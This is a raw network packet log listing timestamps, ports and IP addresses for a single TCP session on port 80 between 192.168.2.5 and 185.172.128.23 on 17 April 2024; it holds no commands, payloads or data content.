Apr 17, 2024 09:17:08.007096052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007113934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007133007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007133961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.007152081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007169962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.007193089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212331057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212398052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212439060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212481022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212522030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212548018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212548971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212548971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212548971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212563992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212589979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212604046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212615013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212641001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212680101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212718010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212754965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212793112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212826014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212826014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212826014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212826014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212826014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212831020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212861061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212873936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212888956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212913990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212928057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212953091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.212965965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.212995052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213088036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213126898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213157892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213165045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213202000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213244915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213282108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213308096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213320017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213356972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213361979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213382006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213401079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213416100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213438988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213449955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213478088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213488102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213516951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213526964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213557005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213567019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213596106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213606119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213634014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213644028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213673115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213684082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213711023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213711023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213752031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213781118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213788033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213799000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213825941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213839054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213865995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.213872910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.213915110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.243942022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.244067907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.354939938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.560478926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678288937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678340912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678359985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678378105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678399086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678419113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678436995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678452015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678513050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678513050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678513050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678513050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678783894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678808928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678828001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678845882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.678961992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678961992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678961992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.678961992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736356020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736417055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736455917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736493111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736531973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736531973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736531973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736573935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736766100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736808062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.736836910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.736854076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.737375975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.737435102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.737445116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.737481117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.883863926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.883924961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.883928061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.883965969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884006977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884047031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884068966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884068966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884085894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884089947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884136915 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884155989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884196043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884206057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884233952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884244919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884273052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884284973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884311914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884321928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884351015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884363890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884392977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884397030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884432077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884435892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884473085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884473085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884510994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884520054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884547949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884555101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884587049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884589911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884625912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884628057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884664059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884669065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884701014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884735107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884735107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884738922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884777069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884787083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884816885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.884821892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.884869099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942125082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942190886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942229986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942270994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942291975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942291975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942291975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942316055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942317009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942354918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942368984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942393064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942403078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942430973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942437887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942467928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942481995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942507982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942517996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942548037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942552090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942584991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942594051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942622900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942630053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942662001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942670107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942701101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942713022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942740917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:09.942749023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:09.942787886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.090584040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090610027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090627909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090650082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090670109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090687990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090706110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090724945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090734005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.090742111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090760946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090778112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090796947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090814114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090831995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090850115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090868950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090876102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.090887070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090904951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090923071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090943098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090953112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.090960979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090977907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.090997934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091000080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091017962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091027021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091037035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091051102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091056108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091073990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091089010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091092110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091109037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091125965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091130018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091145992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091147900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091166019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091172934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091183901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091196060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091202974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091217995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091219902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091231108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091238976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091249943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091257095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091263056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091275930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091281891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091295004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091300011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091315985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091317892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091330051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091335058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091351986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091356039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091370106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091375113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091387987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091392040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091407061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091417074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091424942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091428995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091444016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091449976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091463089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.091464043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091486931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.091506004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148473024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148581982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148591995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148623943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148626089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148659945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148663044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148705006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148710012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148744106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148747921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148781061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148787022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148818970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148823977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148857117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148859978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148895025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148900986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148943901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148947001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.148982048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.148986101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149035931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149036884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149075031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149075031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149113894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149118900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149151087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149154902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149187088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149192095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149224997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149230003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149271011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149424076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149462938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149471998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149499893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149502039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149538040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149538994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149575949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149580956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149612904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149619102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149652004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149652958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149688005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149693012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149724960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149729967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149763107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149764061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149800062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149805069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149837017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149838924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149874926 CEST	80	49704	185.172.128.23	192.168.2.5
